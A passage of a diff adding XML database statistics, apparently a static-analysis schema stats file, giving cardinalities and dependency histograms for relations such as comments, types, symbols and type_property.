+</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>sig</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1898</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>700</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>294</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>262</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>310</v> +</b> +<b> +<a>8</a> +<b>24</b> +<v>309</v> +</b> +<b> +<a>24</a> +<b>3588</b> +<v>298</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2804</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>738</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>290</v> +</b> +<b> +<a>4</a> +<b>15</b> +<v>239</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>number_index_type</name> +<cardinality>2038</cardinality> +<columnsizes> +<e> +<k>baseType</k> +<v>2038</v> +</e> +<e> +<k>propertyType</k> +<v>517</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>baseType</src> +<trg>propertyType</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2038</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>propertyType</src> +<trg>baseType</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>435</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>70</v> +</b> +<b> +<a>3</a> +<b>1259</b> +<v>12</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>string_index_type</name> +<cardinality>1102</cardinality> +<columnsizes> +<e> +<k>baseType</k> +<v>1102</v> +</e> +<e> +<k>propertyType</k> +<v>256</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>baseType</src> +<trg>propertyType</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1102</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>propertyType</src> +<trg>baseType</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>219</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>20</v> +</b> +<b> +<a>3</a> +<b>436</b> +<v>17</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>base_type_names</name> +<cardinality>941</cardinality> +<columnsizes> +<e> +<k>typeName</k> +<v>928</v> +</e> +<e> +<k>baseTypeName</k> +<v>369</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>typeName</src> +<trg>baseTypeName</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>917</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>11</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>baseTypeName</src> +<trg>typeName</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>175</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>101</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>29</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>29</v> +</b> +<b> +<a>5</a> +<b>11</b> +<v>28</v> +</b> +<b> +<a>15</a> +<b>41</b> +<v>7</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>self_types</name> +<cardinality>19632</cardinality> +<columnsizes> +<e> +<k>typeName</k> +<v>14119</v> +</e> +<e> +<k>selfType</k> +<v>19632</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>typeName</src> +<trg>selfType</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>10451</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1823</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1845</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>selfType</src> +<trg>typeName</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>19632</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>tuple_type_min_length</name> +<cardinality>241</cardinality> +<columnsizes> +<e> +<k>typ</k> +<v>241</v> +</e> +<e> +<k>minLength</k> +<v>10</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>typ</src> +<trg>minLength</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>241</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>minLength</src> +<trg>typ</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>3</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>1</v> +</b> +<b> +<a>20</a> +<b>21</b> +<v>1</v> +</b> +<b> +<a>42</a> +<b>43</b> +<v>1</v> +</b> +<b> +<a>66</a> +<b>67</b> +<v>1</v> +</b> +<b> +<a>93</a> +<b>94</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>tuple_type_rest</name> +<cardinality>100</cardinality> +<columnsizes> +<e> +<k>typ</k> +<v>100</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>comments</name> +<key>id</key> +<cardinality>104947</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>104947</v> +</e> +<e> +<k>kind</k> +<v>5</v> +</e> +<e> +<k>toplevel</k> +<v>4497</v> +</e> +<e> +<k>text</k> +<v>73454</v> +</e> +<e> +<k>tostring</k> +<v>57955</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>104947</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>toplevel</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>104947</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>text</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>104947</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>104947</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>8834</a> +<b>8835</b> +<v>1</v> +</b> +<b> +<a>19270</a> +<b>19271</b> +<v>1</v> +</b> +<b> +<a>76841</a> +<b>76842</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>toplevel</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>1705</a> +<b>1706</b> +<v>1</v> +</b> +<b> +<a>3107</a> +<b>3108</b> +<v>1</v> +</b> +<b> +<a>3141</a> +<b>3142</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>text</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>4893</a> +<b>4894</b> +<v>1</v> +</b> +<b> +<a>12759</a> +<b>12760</b> +<v>1</v> +</b> +<b> +<a>55810</a> +<b>55811</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>1739</a> +<b>1740</b> +<v>1</v> +</b> +<b> +<a>2536</a> +<b>2537</b> +<v>1</v> +</b> +<b> +<a>53678</a> +<b>53679</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>toplevel</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1034</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>512</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>332</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>260</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>388</v> +</b> +<b> +<a>7</a> +<b>10</b> +<v>401</v> +</b> +<b> +<a>10</a> +<b>14</b> +<v>354</v> +</b> +<b> +<a>14</a> +<b>21</b> +<v>365</v> +</b> +<b> +<a>21</a> +<b>36</b> +<v>338</v> +</b> +<b> +<a>36</a> +<b>99</b> +<v>339</v> +</b> +<b> +<a>99</a> +<b>6350</b> +<v>174</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>toplevel</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1856</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1824</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>817</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>toplevel</src> +<trg>text</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1043</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>533</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>341</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>266</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>396</v> +</b> +<b> +<a>7</a> +<b>9</b> +<v>315</v> +</b> +<b> +<a>9</a> +<b>13</b> +<v>388</v> +</b> +<b> +<a>13</a> +<b>20</b> +<v>385</v> +</b> +<b> +<a>20</a> +<b>35</b> +<v>344</v> +</b> +<b> +<a>35</a> +<b>103</b> +<v>344</v> +</b> +<b> +<a>103</a> +<b>4413</b> +<v>142</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>toplevel</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1054</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>571</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>374</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>297</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>232</v> +</b> +<b> +<a>6</a> +<b>8</b> +<v>363</v> +</b> +<b> +<a>8</a> +<b>11</b> +<v>345</v> +</b> +<b> +<a>11</a> +<b>16</b> +<v>366</v> +</b> +<b> +<a>16</a> +<b>27</b> +<v>352</v> +</b> +<b> +<a>27</a> +<b>60</b> +<v>338</v> +</b> +<b> +<a>60</a> +<b>4394</b> +<v>205</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>text</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>59626</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>10314</v> +</b> +<b> +<a>3</a> +<b>1417</b> +<v>3514</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>text</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>73446</v> +</b> +<b> +<a>2</a> +<b>5</b> +<v>8</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>text</src> +<trg>toplevel</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>62696</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>8455</v> +</b> +<b> +<a>3</a> +<b>257</b> +<v>2303</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>text</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>73446</v> +</b> +<b> +<a>2</a> +<b>5</b> +<v>8</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>44781</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>9203</v> +</b> +<b> +<a>3</a> +<b>4589</b> +<v>3971</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>57955</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>toplevel</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>48252</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>7233</v> +</b> +<b> +<a>3</a> +<b>513</b> +<v>2470</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>text</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>55262</v> +</b> +<b> +<a>2</a> +<b>3403</b> +<v>2693</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>types</name> +<cardinality>179398</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>179398</v> +</e> +<e> +<k>kind</k> +<v>9</v> +</e> +<e> +<k>tostring</k> +<v>40918</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>179398</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>179398</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5</v> +</b> +<b> +<a>1802</a> +<b>1803</b> +<v>1</v> +</b> +<b> +<a>6109</a> +<b>6110</b> +<v>1</v> +</b> +<b> +<a>12383</a> +<b>12384</b> +<v>1</v> +</b> +<b> +<a>159099</a> +<b>159100</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5</v> +</b> +<b> +<a>50</a> +<b>51</b> +<v>1</v> +</b> +<b> +<a>745</a> +<b>746</b> +<v>1</v> +</b> +<b> +<a>7464</a> +<b>7465</b> +<v>1</v> +</b> +<b> +<a>32936</a> +<b>32937</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>22482</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>8025</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>3362</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>3387</v> +</b> +<b> +<a>7</a> +<b>33</b> +<v>3070</v> +</b> +<b> +<a>33</a> +<b>7284</b> +<v>592</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>40638</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>280</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>type_child</name> +<cardinality>17410</cardinality> +<columnsizes> +<e> +<k>child</k> +<v>9118</v> +</e> +<e> +<k>parent</k> +<v>7772</v> +</e> +<e> +<k>idx</k> +<v>296</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>child</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7113</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>978</v> +</b> +<b> +<a>3</a> +<b>8</b> +<v>686</v> +</b> +<b> +<a>8</a> +<b>199</b> +<v>341</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>child</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>8255</v> +</b> +<b> +<a>2</a> +<b>5</b> +<v>726</v> +</b> +<b> +<a>5</a> +<b>19</b> +<v>137</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>child</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5433</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1746</v> +</b> +<b> +<a>3</a> +<b>288</b> +<v>583</v> +</b> +<b> +<a>288</a> +<b>297</b> +<v>10</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5422</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1757</v> +</b> +<b> +<a>3</a> +<b>288</b> +<v>583</v> +</b> +<b> +<a>288</a> +<b>297</b> +<v>10</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>child</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>39</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>3</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>61</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>37</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>56</v> +</b> +<b> +<a>7</a> +<b>12</b> +<v>22</v> +</b> +<b> +<a>12</a> +<b>14</b> +<v>18</v> +</b> +<b> +<a>14</a> +<b>15</b> +<v>44</v> +</b> +<b> +<a>17</a> +<b>6068</b> +<v>15</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>15</b> +<v>13</v> +</b> +<b> +<a>15</a> +<b>16</b> +<v>90</v> +</b> +<b> +<a>19</a> +<b>20</b> +<v>81</v> +</b> +<b> +<a>20</a> +<b>23</b> +<v>3</v> +</b> +<b> +<a>23</a> +<b>24</b> +<v>75</v> +</b> +<b> +<a>24</a> +<b>55</b> +<v>23</v> +</b> +<b> +<a>55</a> +<b>7773</b> +<v>11</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>ast_node_type</name> +<cardinality>1261889</cardinality> +<columnsizes> +<e> +<k>node</k> +<v>1261889</v> +</e> +<e> +<k>typ</k> +<v>72602</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>node</src> +<trg>typ</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1261889</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>typ</src> +<trg>node</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>39248</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>8371</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>7888</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>3053</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>6417</v> +</b> +<b> +<a>8</a> +<b>28</b> +<v>5528</v> +</b> +<b> +<a>28</a> +<b>588233</b> +<v>2097</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>declared_function_signature</name> +<cardinality>62664</cardinality> +<columnsizes> +<e> +<k>node</k> +<v>62664</v> +</e> +<e> +<k>sig</k> +<v>21731</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>node</src> +<trg>sig</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>62664</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>sig</src> +<trg>node</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>16826</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2358</v> +</b> +<b> +<a>3</a> +<b>6</b> +<v>1683</v> +</b> +<b> +<a>6</a> +<b>10251</b> +<v>864</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>invoke_expr_signature</name> +<cardinality>140668</cardinality> +<columnsizes> +<e> +<k>node</k> +<v>140668</v> +</e> +<e> +<k>sig</k> +<v>9111</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>node</src> +<trg>sig</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>140668</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>sig</src> +<trg>node</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4612</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1819</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>737</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>696</v> +</b> +<b> +<a>6</a> +<b>14</b> +<v>705</v> +</b> +<b> +<a>14</a> +<b>68351</b> +<v>542</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>invoke_expr_overload_index</name> +<cardinality>73550</cardinality> +<columnsizes> +<e> +<k>node</k> +<v>73550</v> +</e> +<e> +<k>index</k> +<v>47</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>node</src> +<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>73550</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>node</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>17</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>7</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>4</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>4</v> +</b> +<b> +<a>6</a> +<b>8</b> +<v>3</v> +</b> +<b> +<a>8</a> +<b>16</b> +<v>4</v> +</b> +<b> +<a>27</a> +<b>155</b> +<v>4</v> +</b> +<b> +<a>211</a> +<b>68535</b> +<v>4</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>symbols</name> +<cardinality>10192</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>10192</v> +</e> +<e> +<k>kind</k> +<v>3</v> +</e> +<e> +<k>name</k> +<v>7872</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>10192</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>10192</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>584</a> +<b>585</b> +<v>1</v> +</b> +<b> +<a>2385</a> +<b>2386</b> +<v>1</v> +</b> +<b> +<a>7223</a> +<b>7224</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>30</a> +<b>31</b> +<v>1</v> +</b> +<b> +<a>2385</a> +<b>2386</b> +<v>1</v> +</b> +<b> +<a>5609</a> +<b>5610</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6929</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>533</v> +</b> +<b> +<a>3</a> +<b>273</b> +<v>410</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7730</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>142</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>symbol_parent</name> +<cardinality>7807</cardinality> +<columnsizes> +<e> +<k>symbol</k> +<v>7807</v> +</e> +<e> +<k>parent</k> +<v>1727</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>symbol</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7807</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>symbol</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>778</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>304</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>212</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>111</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>152</v> +</b> +<b> +<a>8</a> +<b>26</b> +<v>136</v> +</b> +<b> +<a>26</a> +<b>297</b> +<v>34</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>symbol_module</name> +<cardinality>100</cardinality> +<columnsizes> +<e> +<k>symbol</k> +<v>97</v> +</e> +<e> +<k>moduleName</k> +<v>98</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>symbol</src> +<trg>moduleName</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>95</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>moduleName</src> +<trg>symbol</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>96</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>symbol_global</name> +<cardinality>354</cardinality> +<columnsizes> +<e> +<k>symbol</k> +<v>354</v> +</e> +<e> +<k>globalName</k> +<v>350</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>symbol</src> +<trg>globalName</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>354</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>globalName</src> +<trg>symbol</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>347</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>3</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>ast_node_symbol</name> +<cardinality>8173</cardinality> +<columnsizes> +<e> +<k>node</k> +<v>8173</v> +</e> +<e> +<k>symbol</k> +<v>8155</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>node</src> +<trg>symbol</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>8173</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>symbol</src> +<trg>node</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>8147</v> +</b> +<b> +<a>2</a> +<b>12</b> +<v>8</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>type_symbol</name> +<cardinality>12383</cardinality> +<columnsizes> +<e> +<k>typ</k> +<v>12383</v> +</e> +<e> +<k>symbol</k> +<v>6743</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>typ</src> +<trg>symbol</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>12383</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>symbol</src> +<trg>typ</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6240</v> +</b> +<b> +<a>2</a> +<b>3070</b> +<v>503</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>type_property</name> +<cardinality>331170</cardinality> +<columnsizes> +<e> +<k>typ</k> +<v>49305</v> +</e> +<e> +<k>name</k> +<v>22420</v> +</e> +<e> +<k>propertyType</k> +<v>130857</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>typ</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>10275</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>14770</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>6020</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>3153</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1700</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>4257</v> +</b> +<b> +<a>7</a> +<b>19</b> +<v>3783</v> +</b> +<b> 